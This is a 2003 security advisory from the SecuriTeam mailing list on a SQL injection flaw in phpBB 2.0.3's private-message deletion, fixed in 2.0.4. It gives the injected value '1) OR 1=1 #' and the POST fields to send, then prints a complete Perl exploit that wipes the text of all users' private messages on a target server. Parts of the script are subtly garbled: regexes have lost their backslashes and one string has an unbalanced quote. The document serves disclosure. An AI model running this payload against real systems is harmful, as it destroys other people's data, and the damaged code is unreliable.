

[UNIX] phpBB SQL Injection Vulnerability (privmsg)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0051.html>

From: support@securiteam.com

Date: 01/18/03

From: support@securiteam.com

To: list@securiteam.com

Date: 19 Jan 2003 00:03:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

phpBB SQL Injection Vulnerability (privmsg)

SUMMARY

phpBB is a UBB-style discussion board written in PHP back ended by a MySQL database. It includes features such as posting/replying/editing messages, private messages, private forums, user and anonymous posting, robust themes, user ranking by posts or by special, administrative definable, ranks, and much more. A security vulnerability in the product allows remote attackers to cause the program to insert malicious SQL statements into existing SQL statements. This would allow an attacker to compromise the integrity of both the database and server.

DETAILS

Vulnerable systems:

- * phpBB version 2.0.3

Immune systems:

- * phpBB version 2.0.4

phpBB users can send private messages to each other. The program has got a security hole, making it possible for a user to delete the text of all private messages stored in the system.

Securiteam: [UNIX] phpBB SQL Injection Vulnerability (privmsg)

Technical details:

The function for deleting private messages has got an SQL Injection hole. If we submit data saying that we want to delete private message number "1) OR 1=1 #", the text of all private messages for all users on the system will be deleted.

The messages are stored in two tables, and the SQL Injection will only work on one of them, so all the text bodies are deleted but the subjects and metadata are only deleted if they belong to the current user. This means that the subjects of the deleted messages will still show up in the other users' folders. When a user clicks on a deleted message, he or she will just be redirected back to the folder.

You can exploit this by POSTing the following values to `privmsg.php?folder=inbox&sid=[THE SID VALUE]`:

```
mode=""
delete="true"
mark[]="1) OR 1=1 #"
confirm="Yes"
```

The current SID value is shown in the URL field, if you log in to the system with cookies turned off.

Vendor status:

The vendor was contacted on the 14th of January. Version 2.0.4 was released on the 16th of January.

Exploit:

The attached exploit code will delete the text of all private messages. Before starting it, you have to log in and get the SID value as described above.

```
#!/usr/bin/perl --

# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003

use Socket;

if (@ARGV != 2) { die "usage: $0 host sid\n"; }

($host, $sid) = @ARGV;
$host =~ s|s+||g;
$sid =~ s|s+||g;

$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
    "Host: $host$crlf".
    "User-Agent: Mozzarella/1.37++$crlf".
```

Securiteam: [UNIX] phpBB SQL Injection Vulnerability (privmsg)

```
"Referer: http://www.phpbb.com/\$crlf".  
"Connection: close$crlf".  
"Content-Type: application/x-www-form-urlencoded$crlf".  
"Content-Length: 58$crlf$crlf".  
"mode=&delete=true&mark%5B%5D=1%29+OR+1%3D1+%23&confirm=Yes";
```

```
$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";  
$hosti = inet_aton($host) or die "Couldn't look up host!\n";  
$hosts = sockaddr_in(80, $hosti);  
  
socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";  
connect(SOK, $hosts) or die "Couldn't connect to port!\n";  
  
select SOK; $| = 1; select STDOUT;  
  
print SOK $http;  
  
$junk = "  
while (<SOK>) { $junk .= $_; }  
  
close SOK or die "Couldn't close!\n";
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:ulfh@update.uu.se>> Ulf Harnhammar.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.